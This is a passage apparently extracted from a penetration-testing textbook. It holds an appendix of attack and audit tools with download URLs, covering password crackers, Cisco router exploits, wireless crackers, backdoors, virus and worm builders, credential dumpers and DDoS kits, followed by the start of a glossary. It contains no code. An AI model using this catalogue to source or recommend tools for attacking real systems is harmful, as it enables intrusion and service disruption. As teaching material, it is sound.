\nservers.\nSqlDict\nhttp://packetstormsecurity.org/Win/sqldict.exe\nA SQL password-cracking tool.\nSQeal\nhttp://www.hammerofgod.com/download.htm\nA SQL2000 server impersonator.\nSqlPoke\nhttp://packetstormsecurity.org/NT/scanners/\nSqlpoke.zip\nA Windows NT-based tool that locates MSSQL \nservers and tries to connect with the default SA \naccount. A list of SQL commands is executed if the \nconnection is successful.\nSqlScan\nhttp://www.zone-h.com/en/download/\ncategory=42/\nA MySQL database vulnerability scanner.\nTool\nURL\nDescription\nDictionaries / \nWordlists\nftp://coast.cs.purdue.edu/pub/dict/, http://\npacketstormsecurity.org/Crackers/wordlists/\ndictionaries/\nWord lists that can be used in most password-\ncracking utilities.\nHydra\nhttp://www.thc.org/thc-hydra/\nA fast network logon cracker that supports \nmany different services.\nJohn the Ripper\nhttp://www.openwall.com/john/\nA password-cracking utility.\nL0phtCrack\nhttp://www.atstake.com/research/lc3/index.html\nA password-cracking utility for Windows. \nLSADump2\nhttp://razor.bindview.com/tools/files/lsadump2.zip\nAn application to dump the contents of the \nLSA secrets on a machine, provided you are \nan administrator.\nPWDump2\nhttp://razor.bindview.com/tools/files/pwdump2.zip\nA utility to extract the Windows SAM \ndatabase.\nPDDump3\nhttp://www.ebiz-tech.com/html/pwdump.html\nA utility to remotely extract the Windows \nSAM database.\nVNC Crack\nhttp://www.phenoelit.de/vncrack/\nA password-cracking tool for VNC.\n" }, { "page_number": 584, "text": "Attacking the Network (Chapter 10) 557\nAttacking the Network (Chapter 10)\nTool\nURL\nDescription\n9x_c1sco\nhttp://www.packetstormsecurity.com/cisco/\nA tool that kills all Cisco 7xx routers \nrunning IOS/700 v4.1(x).\nanwrap.pl\nhttp://www.packetstormsecurity.com/cisco/\nA wrapper for ancontrol that serves as a \ndictionary attack tool against LEAP-\nenabled Cisco wireless networks. It \ntraverses a user list and password list \nattempting authentication and logging \nthe results to a file.\nAW Firewall \nTester (awft31)\nhttp://www.zone-h.com/en/download/category=71/\nA scanner to test the security of your \nfirewall.\nbrute_cisco.exe\nhttp://www.packetstormsecurity.com/cisco/\nA brute force utility for Cisco password \nauthentication.\nCisco677.pl \nDenial of Service\nhttp://mail.dhbit.ca\nA denial-of-service (DoS) tool that \nattacks 600 series routers.\nCiscoCasumEst\nhttp://www.phenoelit.de/ultimaratio/download.html\nA Cisco IOS 12.x/11.x remote exploit \nfor HTTP integer overflow. \nCisco \nConfiguration \nSecurity Auditing \nTool (CCSAT)\nhttp://hotunix.com/tools/\nA script to allow automated auditing of \nconfiguration security of numerous \nCisco routers and switches.\nCisco Crack\nhttp://www.packetstormsecurity.com/cisco/\nA Cisco device login brute force tool.\nCisco 760 Denial \nof Service\nhttp://www.packetstormsecurity.com/cisco/\nA DoS tool that attacks 760 series \nrouters.\nCisco Torch\nhttp://www.arhont.com\nA mass scanning, fingerprinting, and \nexploitation tool for Cisco routers.\nConfuse Router\nhttp://pedram.redhive.com/projects.php\nA tool that sniffs partial traffic in a \nswitched environment where ARP \nrequests/replies are not broadcasted to \nevery node.\nCrashRouter\nhttp://www.packetstormsecurity.com/cisco/index2.html\nA Mirc script that crashes Cisco 600 \nseries routers with CBOS of v2.4.2 or \nearlier.\nDatapipe\nhttp://www.covertsystems.org/blackbag.html\nA TCP port redirection utility that is \nuseful for firewall evasion.\nDNS Hijacker\nhttp://pedram.redhive.com/projects.php\nA libnet/libpcap-based packet sniffer \nand spoofer.\ncontinues\n" }, { "page_number": 585, "text": "558\nAppendix B: Tools\nTool\nURL\nDescription\nICMP Router \nDiscover Protocol \nDiscovery Tool\nhttp://www.zone-h.com/en/download/category=28/\nA tool for testing IRDP on Cisco routers.\nIOS Memory \nLeak Remote \nSniffer\nhttp://www.phenoelit.de/ultimaratio/download.html\nA tool that exploits a memory leak \nvulnerability on some Cisco routers.\nIOS W3 \nVulnerability \nChecker\nhttp://www.packetstormsecurity.com/cisco/index2.html\nA tool that checks for vulnerabilities \nwith the IP HTTP service on Cisco \nrouters.\nIRPAS\nhttp://www.phenoelit.de/irpas/index.html\nA collection of tools to test common \nprotocols such as CDP, IRDP, IGRP, \nRIP, HSRP, and DHCP.\nNetwork Config \nAudit Tool \n(NCAT)\nhttp://ncat.sourceforge.net\nA tool that facilitates the checking of \nsecurity configuration settings on \nnumerous Cisco IOS configurations.\nngrep\nhttp://packetfactory.net/projects/ngrep/\nA pcap-aware tool that allows you to \nspecify extended regular or hexadecimal \nexpressions to match against data \npayloads of packets. It currently \nrecognizes TCP, UDP, ICMP, IGMP, and \nRaw protocols across Ethernet, PPP, \nSLIP, FDDI, Token Ring, 802.11, and \nnull interfaces.\nOCS\nhttp://www.hacklab.tk\nA scanner for Voice over IP (VoIP) \nnetworks.\nOneSixtyone\nhttp://www.phreedom.org/solar/onesixtyone/index.html An SNMP scanner that sends SNMP \nrequests to multiple IP addresses, trying \ndifferent community strings and waiting \nfor a reply.\nRFS FTP Scanner\nhttp://www.zone-h.com/en/download/category=71/\nA command-line-based FTP scanner \nthat runs in the background.\nRipper-RipV2\nhttp://www.spine-group.org/toolIG.htm\nA tool that allows you to inject routes to \nRIPv2 routers specifying the metric \nassociated with them.\nThong.pl\nhttp://hypoclear.cjb.net\nAn exploit script that attacks Cisco \nrouters.\nUDPpipe\nhttp://www.covertsystems.org/blackbag.html\nA UDP port redirection utility that is \nuseful for firewall evasion.\nZodiac\nhttp://www.packetfactory.net/projects/zodiac/\nA DNS protocol analysis and \nexploitation program.\n" }, { "page_number": 586, "text": "Scanning and Penetrating Wireless Networks (Chapter 11) 559\nScanning and Penetrating Wireless Networks \n(Chapter 11)\nTool\nURL\nDescription\n802.11b Network \nDiscovery Tools\nhttp://www.zone-h.com/download/file=4988/\nA gtk tool to scan for 802.11b networks using \nwavelan/Aironet hardware and Linux \nwireless extensions.\nAccess Point SNMP \nUtils for Linux\nhttp://www.zone-h.com/en/download/\ncategory=28/\nA set of utilities to configure and monitor \nAtmel-based wireless access points (the case \nfor most Intersil clone vendors) under Linux.\nAerosol\nhttp://www.zone-h.com/en/download/\ncategory=72/\nA fast and reliable war-driving application for \nWindows. Supports many type of wireless \ncard chipsets.\nAircrack\nhttp://www.zone-h.com/en/download/\ncategory=74/\nAn 802.11 WEP-cracking program that can \nrecover a 40-bit or 104-bit WEP key after \nenough encrypted packets have been \ngathered.\nAIRE\nhttp://www.zone-h.com/en/download/\ncategory=72/\nAn 802.11 network discovery utility for \nMicrosoft Windows XP. After finding a \nwireless access point, it displays pertinent \ninformation (timestamp, ESSID, channel, \nmode, and so on) and has various useful \nfeatures like a power meter display and other \nAPs within range.\nAirpwn\nhttp://www.zone-h.com/en/download/\ncategory=74/\nA platform for injecting application layer \ndata on an 802.11b network.\nAirsnarf\nhttp://www.zone-h.com/en/download/\ncategory=74/\nA simple rogue wireless access point setup \nutility designed to demonstrate how a rogue \nAP can steal usernames and passwords from \npublic wireless hotspots.\nAirSnort\nhttp://www.zone-h.com/en/download/\ncategory=74/ Asleap\nA wireless LAN (WLAN) tool that recovers \nencryption keys.\nApSniff\nhttp://www.zone-h.com/en/download/\ncategory=72/\nA wireless (802.11) access point sniffer for \nWindows 2000.\nbsd-airtools\nhttp://www.zone-h.com/en/download/\ncategory=74/ \nA package that provides a complete toolset \nfor wireless 802.11b auditing.\nBtscanner\nhttp://www.zone-h.com/en/download/\ncategory=74/\nA tool that extracts as much information as \npossible from a Bluetooth device without the \nrequirement to pair.\ncontinues\n" }, { "page_number": 587, "text": "560\nAppendix B: Tools\nUsing Trojans and Backdoor Applications (Chapter 12)\nTool\nURL\nDescription\nFake AP\nhttp://www.zone-h.com/en/download/\ncategory=74/\nA tool that generates thousands of counterfeit \n802.11b access points.\nKismet\nhttp://www.zone-h.com/en/download/\ncategory=74/\nAn 802.11 Layer 2 wireless network sniffer. \nIt can sniff 802.11b, 802.11a, and 802.11g \ntraffic.\nLibradiate\nhttp://www.packetfactory.net/projects/\nlibradiate/\nA tool to capture, create, and inject 802.11b \nframes.\nMiniStumbler\nhttp://www.zone-h.com/en/download/\ncategory=72/\nA network stumbler for Pocket PC 3.0 and \n2002.\nNetStumbler\nhttp://www.zone-h.com/en/download/\ncategory=72/\nA Windows utility for 802.11b-based \nwireless network auditing.\nRedfang v2.5\nhttp://www.zone-h.com/en/download/\ncategory=74/\nAn enhanced version of the original \napplication that finds nondiscoverable \nBluetooth devices by brute-forcing the last \nsix bytes of the device Bluetooth address and \ndoing a read_remote_name().\nwaproamd\nhttp://www.zone-h.com/en/download/\ncategory=74/\nA Linux WLAN roaming daemon for IEEE \n802.11b cards supported by a driver with the \nwireless extension API.\nWaveStumbler\nhttp://www.zone-h.com/en/download/\ncategory=74/\nA console-based 802.11 network mapper for \nLinux.\nWellenreiter\nhttp://www.zone-h.com/en/download/\ncategory=74/\nA wireless network discovery and auditing \ntool.\nWEPCrack\nhttp://www.zone-h.com/en/download/\ncategory=72/\nAn open-source tool for breaking 802.11 \nWEP secret keys.\nWifiScanner\nhttp://www.zone-h.com/en/download/\ncategory=74/\nA tool that has been designed to discover \nwireless nodes (that is, access points and \nwireless clients).\nTool\nURL\nDescription\naes-netcat\nhttp://mixter.void.ru/code.html\nA strong encryption patch for netcat.\ncd00r.c\nhttp://www.phenoelit.de/stuff/cd00rdescr.html\nA working proof-of-concept code for a \nnonlistening remote shell on UN*X systems.\nCovert TCP\nhttp://www.covertsystems.org/blackbag.html\nA program that manipulates the TCP/IP header to \ntransfer a file one byte at a time to a destination \nhost.\n" }, { "page_number": 588, "text": "Using Trojans and Backdoor Applications (Chapter 12) 561\nTool\nURL\nDescription\ndatapipe_http_pr\noxy.c\nhttp://net-square.com/datapipe_http/index.html\nA modified version of the datapipe port redirector. \nThis version allows tunneling arbitrary TCP \nprotocols through an HTTP proxy server that \nsupports the CONNECT method. \nDouble Dragon \nBackdoor\nhttp://www.pkcrew.org/index.php\nA backdoor that allows you to keep remote access \nto a shell on a LAN protected by masquerading, \ngetting rid of the inability for a nonpublic address \nto listen to a port that is reacheable from the \nInternet.\nDr. VBS Virus \nBuilder\nhttp://users.otenet.gr/~nicktrig/nsitexz/\nindex.htm\nA program that allows you to add source code and \ngenerate your own worm/virus, it has some \nsamples of code inside the zip too.\nEliteWrap\nhttp://www.holodeck.f9.co.uk/elitewrap/\nindex.html\nAn advanced EXE wrapper for Windows 95/98/\n2000/NT that is used for SFX-archiving and \nsecretly installing and running programs.\nMetasploit\nhttp://www.metasploit.com/\nA complete environment for writing, testing, and \nusing exploit code. This environment provides a \nsolid platform for penetration testing, shellcode \ndevelopment, and vulnerability research.\nNT Rootkit\nhttp://www.rootkit.com\nA rootkit for Microsoft NT systems that allows \nyou to hide files.\nP0ke’s Worm \nGenerator\nhttp://users.otenet.gr/~nicktrig/nsitexz/\nindex.htm\nA utility that allows you to create your own \nTrojans.\nQ\nhttp://mixter.void.ru/code.html\nA remote shell and admin tool that has strong \nencryption.\nResiduo Virus \nBuilder\nhttp://users.otenet.gr/~nicktrig/nsitexz/\nindex.htm\nA tool to create your own viruses.\nRial\nhttp://www.pkcrew.org/index.php\nA backdoor Trojan that can hide files and \nprocesses.\nRPC Backdoor\nhttp://www.s0ftpj.org/en/site.html\nA backdoor that uses an RPC program to \nintroduce a remote access facility in the host.\nSAdoor\nhttp://cmn.listprojects.darklab.org/\nAlthough SAdoor can be used as a backdoor \n(which requires some work to avoid obvious \ndetection), the intention is to provide an \nalternative way of remote access to sensitive \nsystems.\nsbd\nhttp://www.covertsystems.org/blackbag.html\nA Netcat-clone that is designed to be portable and \noffer strong encryption.\nSennaSpy Worm \nGenerator\nhttp://sennaspy.cjb.net\nAnother tool to create your own worms.\ncontinues\n" }, { "page_number": 589, "text": "562\nAppendix B: Tools\nPenetrating UNIX, Microsoft, and Novell Servers \n(Chapter 13)\nTool\nURL\nDescription\nSp00fed_TCP \nShell\nhttp://www.pkcrew.org/index.php\nA backdoor that works by sending data in TCP \npackets without creating a connection.\nSubseven\nhttp://subseven.slak.org\nA remote administration Trojan.\nsyslogd-exec\nhttp://www.s0ftpj.org/en/site.html\nThese patches applied to syslogd 1.3-31 sources \nadd a new priority. You can locally execute new \ncommands without being logged in.\nTFTP Scan\nhttp://www.zone-h.com/en/download/\ncategory=28/\nA scanner that detects running TFTP servers in a \nrange of IP addresses.\nTHC Backdoor \n(Linux)\nhttp://www.s0ftpj.org/en/site.html\nA simple but useful backdoor for Linux.\nVBSwg Virus \nBuilder\nhttp://users.otenet.gr/~nicktrig/nsitexz/\nindex.htm\nA utility to create your own virus.\nVirus Source \nCode\nhttp://users.otenet.gr/~nicktrig/nsitexz/\nindex.htm\nA site that has the source code for several popular \nviruses.\nVNC\nhttp://www.uk.research.att.com/vnc\nA remote administration utility.\nZ3ng\nhttp://violating.us/releases.html\nA backdoor that can modify a firewall.\nTool\nURL\nDescription\nBindery\nhttp://www.packetstormsecurity.com/Netware/\npenetration/\nUtilities for extracting, importing, and exporting \nbindery information.\nBurglar\nhttp://www.packetstormsecurity.com/Netware/\npenetration/\nAn NLM that will either create a Supe user or make an \nexisting user Supe equivalent. For Netware 3.x.\nBurn\nhttp://www.packetstormsecurity.com/Netware/\npenetration/\nA tool that burns up drive space on the SYS: volume by \nfilling up the SYS$ERR.LOG. About 1 MB per minute.\nChknull\nhttp://www.packetstormsecurity.com/Netware/\npenetration/\nA tool that checks for users that have no password.\nCyberCop \nScanner\nhttp://www.tlic.com/security/\ncybercopscanner.cfm\nA vulnerability scanner that tests Windows and UNIX \nworkstations, servers, hubs, and switches.\nDelGuest\nhttp://ntsecurity.nu/toolbox/\nA tool that deletes the built-in Guest account in \nWindows NT.\nDumpSec\nhttp://www.somarsoft.com\nA security auditing program for Microsoft Windows \nNT/2000. It dumps the permissions (DACLs) and audit \nsettings (SACLs) for the file system, registry, printers, \nand shares in a concise, readable format so that holes in \nsystem security are readily apparent.\n" }, { "page_number": 590, "text": "Penetrating UNIX, Microsoft, and Novell Servers (Chapter 13) 563\nTool\nURL\nDescription\nenum\nhttp://www.bindview.com/Services/Razor/\nUtilities/\nA console-based Win32 information enumeration \nutility. Using null sessions, enum can retrieve userlists, \nmachine lists, sharelists, namelists, group and member \nlists, passwords, and LSA policy information.\nEssential \nNet Tools \n(ENT) 3\nhttp://www.zone-h.com/en/download/\ncategory=28/\nA tool to get NetBIOS information and remote access.\nGetAcct\nhttp://www.securityfriday.com/tools/\nGetAcct.html\nA tool that sidesteps \"RestrictAnonymous=1\" and \nacquires account information on Windows NT/2000 \nmachines.\nInfiltrator \nNetwork \nSecurity \nScanner\nhttp://www.network-security-scan.com\nAn easy-to-use, intuitive network security scanner that \ncan quickly scan and audit your network computers for \nvulnerabilities, exploits, and information enumerations.\nInfoServer http://www.zone-h.com/en/download/\ncategory=71/\nA vulnerability scanner for Windows.\nInzider\nhttp://ntsecurity.nu/toolbox/inzider\nA tool that lists processes in your Windows system and \nthe ports that each one listen on.\nLkminject\nhttp://minithins.net/release.html\nA tool to inject a Linux kernel module into another \nLinux kernel module.\nMetasploit http://www.metasploit.com/\nA complete environment for writing, testing, and using \nexploit code. This environment provides a solid \nplatform for penetration testing, shellcode development, \nand vulnerability research.\nN-Stealth \nv3.5\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA vulnerability assessment tool for Windows that scans \nwebservers for bugs that allow attackers to gain access.\nNetBrute\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA tool that scans a range of IP addresses for resources \nthat have been shared via Microsoft File and Printer \nSharing.\nNbtdump\nhttp://www.zone-h.com/en/download/\ncategory=28/\nA utility that dumps NetBIOS information from \nWindows NT, Windows 2000, and UNIX Samba servers \nsuch as shares, user accounts with comments, and the \npassword policy.\nNBTScan\nhttp://www.inetcat.org/software/nbtscan.html\nA program for scanning IP networks for NetBIOS name \ninformation.\nNCPQuery http://razor.bindview.com/tools/index.shtml\nA free, open-source tool that allows probing of a Novell \nNetWare server running IP to be queried to enumerate \nobjects.\nNessus\nhttp://www.nessus.org\nA popular vulnerability scanner.\nNetDDE.c\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA Microsoft Windows scanner that uses a remote code \nexecution vulnerability because of an unchecked buffer.\ncontinues\n" }, { "page_number": 591, "text": "564\nAppendix B: Tools\nTool\nURL\nDescription\nnetinfo\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA complete scanner for the Windows system.\nNetRecon\nhttp://www.symantec.com\nA vulnerability scanner by Symantec.\nNetViewX http://www.ibt.ku.dk/jesper/NTtools/\nA console application to list servers in a domain/\nworkgroup that run specific services.\nNovell \nFake \nLogin\nhttp://www.packetstormsecurity.com/Netware/\npenetration/\nA fake Novell NetWare login screen that stores the \nusername and password in the file c:\\os31337.sys.\nNTLast\nhttp://www.foundstone.com/\nA security log analyzer to identify and track who has \ngained access to your system and then document the \ndetails.\nNetView \nScanner\nhttp://www.zone-h.com/en/download/\ncategory=71/\nFreeware penetration analysis software that runs on \nyour Windows workstation.\nNWPcrack http://www.packetstormsecurity.com/Netware/\npenetration/\nA password-cracking utility for Novell servers.\nPandora\nhttp://www.nmrc.org/project/pandora/\nindex.html\nA set of tools for hacking, intruding, and testing the \nsecurity and insecurity of Novell NetWare. It works on \nversions 4 and 5.\nPC \nAnywhere \nScan\nhttp://www.zone-h.com/en/download/\ncategory=71/\nA small utility that can scan any range of two IP \naddresses and show the list of pcANYWHERE hosts \nwithin that range.\nPipeUp\nAdmin\nhttp://www.dogmile.com/files\nA utility to execute commands with administrative \nprivileges, even if you do not have admin rights on a \nWindows system.\nProbeTS\nhttp://www.hammerofgod.com/download.htm\nA utility to scan for Windows Terminal Services.\nRPC \nDump\nhttp://www.zone-h.com/en/download/\ncategory=28/\nA utility that dumps SUN RPC information from UNIX \nsystems.\nSara\nhttp://www-arc.com/sara\nA popular vulnerability scanner.\nSecurity \nAnalyzer\nhtt://www.netiq.com\nA commercial vulnerability scanner made by NetIQ.\nShadow \nNW Crack\nhttp://www.packetstormsecurity.com/Netware/\npenetration/\nCode for breaking into Novell NetWare 4.x.\nSTAT \nAnalyzer\nhttp://www.stat.harris.com/techinfo/reskit/\ndefault.asp\nA tool that automatically consolidates multiple network \nscanning and modeling results and provides a single, \nflexible reporting mechanism for reviewing those \nresults.\nTransport\nEnum\nhttp://www.hammerofgod.com/download.htm\nA tool that allows you to get the transport names \n(devices) in use on a box.\n" }, { "page_number": 592, "text": "Penetrating UNIX, Microsoft, and Novell Servers (Chapter 13) 565\nTool\nURL\nDescription\nTSEnum\nhttp://www.hammerofgod.com/download.htm\nA tool that quickly scans the network for rogue terminal \nservers.\nTSGrinder http://www.hammerofgod.com/download.htm\nA brute force terminal server tool.\nunix2tcp\nhttp://www.zone-h.com/en/download/\ncategory=28/\nA connection forwarder that converts UNIX sockets \ninto TCP sockets. You can use it to trick some X \napplications into thinking that they are talking to a local \nX server when it is remote, or moving local MySQL \ndatabases to a remote server.\nUser2sid / \nSid2user\nhttp://www.chem.msu.su/~rudnyi/\nwelcome.html\nTools to determine a SID based on the username \n(User2sid) or determine username based on a known \nSID (Sid2user).\nUserDump http://www.hammerofgod.com/download.htm\nA SID Walker that can dump every user in a domain in a \nsingle command line.\nUserinfo\nhttp://www.hammerofgod.com/download.htm\nA tool that retrieves all available information about any \nknown user from any NT/Windows 2000 system that \nyou can hit 139 on.\nVigilEnt\nhttp://www.interwork.com/vendors/\nnetiq_security_vsms.html\nNetIQ’s VigilEnt Security Manager Suite (VigilEnt \nSecurity Manager) proactively secures systems by \nassessing policy compliance, identifying security \nvulnerabilities, and helping you correct exposures \nbefore they result in failed audits, security breaches, or \ncostly downtime.\nWindows \n2000 \nResource \nKit\nhttp://www.microsoft.com/windows2000/\nA suite of utilities for managing Windows 2000 \nnetworks.\nWinfo\nhttp://www.ntsecurity.nu\nA Windows enumeration tool.\nYet \nAnother \nNetWare \nGame \n(YANG)\nhttp://www.packetstormsecurity.com/Netware/\npenetration/\nA tool that loads the server and its clients with bogus \nbroadcast packets.\n" }, { "page_number": 593, "text": "566\nAppendix B: Tools\nUnderstanding and Attempting Buffer Overflows \n(Chapter 14)\nDenial-of-Service Attacks (Chapter 15)\nTool\nURL\nDescription\nAssembly \nLanguage \nDebugger (ald)\nhttp://ald.sourceforge.net\nA tool for debugging executable programs at the \nassembly level. It currently runs only on Intel x86 \nplatforms.\nBuffer Overflow \nExamples\nhttp://www.covertsystems.org/research.html\nA number of buffer overflow code examples to \nshow proof of concept.\nBytecode \nexamples\nhttp://www.covertsystems.org/bytecode.html\nExamples of shellcode (bytecode) that could be \nused in buffer overflows.\nFlawfinder\nhttp://www.zone-h.com/en/download/\ncategory=28/\nA tool that searches through source code for \npotential security flaws, listing potential security \nflaws sorted by risk, with the most potentially \ndangerous flaws shown first.\nLibExploit\nhttp://www.packetfactory.net/projects/\nlibexploit/\nA generic exploit creation library to help the \nsecurity community when writing exploits to test \na vulnerability. Using the API, you can write \nbuffer overflows (stack/heap/remote/local) and \nformat strings easily and quickly.\nTool\nURL\nDescription\n4to6ddos\nhttp://www.pkcrew.org/\nA distributed DoS against IPv6 that works \nwithout installing IPv6 support.\n6TunnelDos\nhttp://www.packetstormsecurity.com/DoS/\nAn IPv6 connection flooder that also works as \na DoS for 6tunnel.\n7plagues.pl\nhttp://www.packetstormsecurity.com/DoS/\nA threaded 7-headed DoS that you should use \nto test/audit the TCP/IP stack stability on your \ndifferent operating systems, under extreme \nnetwork conditions.\nackergaul\nhttp://www.packetstormsecurity.com/DoS/\nA distributed DoS tool that spoofs SYNs to \nconsume the bandwidth of a host by flooding it \nwith SYN-ACKs.\nACME-\nlocaldos.c\nhttp://www.packetstormsecurity.com/DoS/\nA local Linux DoS attack tested on Slackware \n8.1 and 9.1, RedHat 7.2, and OpenBSD 3.2.\n" }, { "page_number": 594, "text": "Denial-of-Service Attacks (Chapter 15) 567\nTool\nURL\nDescription\naimrape\nhttp://sec.angrypacket.com/\nA remote DoS exploit for AOL Instant \nMessenger (AIM) v4.7.2480 and below.\nAix433noflag.c\nhttp://www.frapes.org/\nA tool that exploits a weakness in a function in \nthe AIX kernel that handles the incoming/\noutgoing network connection. Setting no flags \nin the TCP header causes a 100% CPU usage \n(DoS). Tested On IBM RS6000/SMP-M80/4) \non AIX 4.3.3.\nAolCrash\nhttp://www.packetstormsecurity.com/DoS/\nAn AOLserver v3.0 and 3.2 remote DoS bug. \nSends a long HTTP request.\nApacheDos.pl\nhttp://www.packetstormsecurity.com/DoS/\nAn Apache 1.3.xx/Tomcat server with mod_jk \nremote DoS exploit that uses chunked \nencoding requests.\nAPSR\nhttp://www.elxsi.de/\nA TCP/IP packet sender to test firewalls and \nother network applications.\narb-dos\nhttp://www.packetstormsecurity.com/DoS/\nThree Perl scripts to exploit recent Windows \napplication DoS vulnerabilities.\narpgen\nhttp://www.packetstormsecurity.com/DoS/\nA DoS tool that demonstrates that a flood of \nARP requests from a spoofed Ethernet and IP \naddress would be a practical attack on a local \nnetwork.\nAssult\nhttp://users.otenet.gr/~nicktrig/nsitexz/index.htm\nAn ICMP and UDP flooder.\nBattle Pong\nhttp://users.otenet.gr/~nicktrig/nsitexz/index.htm\nA DoS tool that lets you choose the ping size \nand the speed to flood.\nBlitznet\nhttp://www.packetstormsecurity.com/distributed/\nA tool that launches a distributed SYN flood \nattack with spoofed source IP, without logging.\nClick v2.2\nhttp://users.otenet.gr/~nicktrig/nsitexz/index.htm\nA tool that allows you to disconnect an IRC \nuser from the server.\nDDoSPing\nhttp://www.foundstone.com\nA network admin utility for remotely detecting \nthe most common DDoS programs.\nDistributed DNS \nFlooder\nhttp://www.packetstormsecurity.com/distributed/\nA tool to attack DNS servers.\nIGMP Nuker\nhttp://users.otenet.gr/~nicktrig/nsitexz/index.htm\nA tool that crashes a TCP stack of Windows 98 \nboxes.\nInferno Nuker\nhttp://users.otenet.gr/~nicktrig/nsitexz/index.htm\nA nuker that sends different attacks to the \ncomputer of the victim, forcing him to reboot.\nKaiten\nhttp://www.packetstormsecurity.com/distributed/\nindex2.html\nAn IRC distributed denial-of-service (DDoS) \ntool.\ncontinues\n" }, { "page_number": 595, "text": "568\nAppendix B: Tools\nTool\nURL\nDescription\nKnight\nhttp://www.packetstormsecurity.com/distributed/\nindex2.html\nA DDoS client that is lightweight and \npowerful. It goes on IRC, joins a channel, and \nthen accepts commands via IRC.\nMstream\nhttp://www.packetstormsecurity.com/distributed/\nindex2.html\nA popular DDoS tool.\nNemesy Nuker\nhttp://users.otenet.gr/~nicktrig/nsitexz/index.htm\nA program that generates random packets that \nyou can use to launch a DoS attack against a \nhost.\nOmega v3\nhttp://www.packetstormsecurity.com/distributed/\nindex2.html\nAnother DDoS tool.\nOrgasm\nhttp://www.packetstormsecurity.com/distributed/\nA distributed reflection DoS attack (reflects off \nof BGP speakers on TCP port 179).\nPanther\nhttp://users.otenet.gr/~nicktrig/nsitexz/index.htm\nA tool for crashing firewalls.\nPud\nhttp://www.packetstormsecurity.com/distributed/\nindex2.html\nA peer-to-peer DDoS client/server that does \nnot rely on hubs or leaves to function properly. \nIt can connect as many nodes as you like, and \nif one node dies, the rest stays up.\nRocket\nhttp://users.otenet.gr/~nicktrig/nsitexz/index.htm\nA nuker that sends the +++ath0 command to a \nmodem and disconnects it.\nSkydance v3.6\nhttp://www.packetstormsecurity.com/distributed/\nindex3.html\nA DDoS tool for Windows.\nStacheldraht v4\nhttp://www.packetstormsecurity.com/distributed/\nindex3.html\nGerman for \"barbed wire.\" Combines features \nof the \"trinoo\" DDoS tool with those of the \noriginal TFN. It adds encryption of \ncommunication between the attacker and \nstacheldraht masters and automated update of \nthe agents.\nStick DDOS\nhttp://www.eurocompton.net/stick/\nA resource starvation attack against IDS \nsystems.\nTribe Flood \nNetwork 2000 \n(TFN2k)\nhttp://1337.tsx.org/\nUsing distributed client/server functionality, \nstealth and encryption techniques, and a \nvariety of functions, you can use TFN to \ncontrol any number of remote machines to \ngenerate on-demand, anonymous DoS attacks \nand remote shell access.\n" }, { "page_number": 596, "text": "Denial-of-Service Attacks (Chapter 15) 569\nTool\nURL\nDescription\nUDPer\nhttp://www.packetstormsecurity.com/distributed/\nindex4.html\nA logic bomb written in ASM for Windows. It \nfloods a victim with packets at a certain date.\nwebdevil\nhttp://www.packetstormsecurity.com/distributed/\nindex4.html\nA tool used to create a distributed performance \ntest against web servers by keeping \nconnections alive until the server times them \nout. Slave daemon is included to assist in \nstress testing.\n" }, { "page_number": 597, "text": "" }, { "page_number": 598, "text": "G L O S S A R Y\nA\nACK storm. This occurs when a session hijacking causes the TCP packet \nsequence numbers to become unsynchronized because of the legitimate client and \nthe attacker both attempting to communicate. \nActive Directory. The Microsoft implementation of LDAP directory services \nbased off of the X500 standard.\nActive Server Pages. See ASP.\nActiveX. A set of object-oriented programming technologies and tools \nimplemented by Microsoft technology. \nAddress Resolution Protocol. See ARP.\nantireplay. A security function that allows the receiver to reject old or duplicated \npackets to defend against replay attacks.\nAH. Authentication Header. A security protocol that provides data authentication \nand optional antireplay services found with IPSec. AH is embedded in the data to \nbe protected.\nARP. Address Resolution Protocol. A method for finding the host Ethernet \n(MAC) address from its IP address.\nASP. Active Server Pages. Server-side technology produced by Microsoft for \ndynamically generating web pages.\nAuthentication Header. See AH.\nB\nbackdoor application. An application that allows remote access to a computer \nwhile bypassing normal authentication and remaining hidden within the system.\nbandwidth attacks. An attempt to overload a network infrastructure by \ngenerating large amounts of traffic.\nblack-box (testing). A method of testing software whereby the internal workings \nof the item being tested are unknown by the tester.\n" }, { "page_number": 599, "text": "572\nblack-hat hacker\nblack-hat hacker. A skilled hacker who uses his expertise for illegal purposes.\nblind-spoofing. A method of session hijacking in which the hijacker is unable to \nsee the traffic being sent between the host and the target.\nBluetooth. A means of connecting and exchanging information among devices \nsuch as PDAs, laptops, and mobile telephones via globally available shortwave \nradio frequency.\nbrute force attack. Attempt to determine a password or key by exhaustively \nworking through every possibility.\nbuffer overflow attack. An exploitation of the buffer overflow condition that \noccurs when a program attempts to write data to a memory buffer that is larger \nthan it can hold.\nbytecode. Programming code that is run through a virtual machine instead of the \ncomputer processor after it is compiled. \nC\nCERT. Computer Emergency Response Team. http://www.cert.org/. A center of \nInternet security expertise, located at the Software Engineering Institute, a \nfederally funded research and development center operated by Carnegie Mellon \nUniversity.\nCGI. Common Gateway Interface. A technology that enables a client web browser \nto request data from a program executed on a Web server.\nColdFusion. A tag-based, middleware programming language used mainly for \nwriting web applications.\nCommon Gateway Interface. See CGI.\nComputer Emergency Response Team. See CERT.\ncookie guessing. Taking a legitimate cookie created by visiting a website and \nmodifying its contents in an attempt to use the identity of someone else.\ncracker. Someone who breaks into a secure system. Differentiated from a hacker \nwhose purpose is to gain knowledge about computer systems.\n" }, { "page_number": 600, "text": "DoS\n573\nD\nData Encryption Standard. See DES.\nDDoS attack. Distributed denial-of-service attack. An attack involving multiple \nhosts in an attempt to cause loss of service availability to users.\ndemilitarized zone. See DMZ.\ndenial of service. See DoS.\nDES. Data Encryption Standard. A method of bulk, symmetric data encryption \nwhich uses a 64-bit key to every 64-bit block of data but only has an effective key \nstrength of 56 bits. \nDHCP. Dynamic Host Control Protocol. A communications protocol which \nallows the assignment of IP addresses and other network configuration in an \norganization’s network to be automated.\nDHTML. Dynamic Hypertext Markup Language. A technique for creating \ninteractive websites by using a combination of static language HTML, a client-\nside scripting language, and the style definition language Cascading Style Sheets.\ndictionary attacks. A password-guessing technique that usually involves use of \na precompiled word list. \ndistributed denial-of-service attack. See DDoS attack.\nDMZ. Demilitarized zone. A network area that sits between the internal network \nof an organization and (usually) the Internet.\nDNS. Domain Name System. A system that stores and translates the names of \nnetwork nodes to their corresponding IP addresses.\ndomain controller. A server in Windows networking that is responsible for \nservicing authentication requests to the Windows 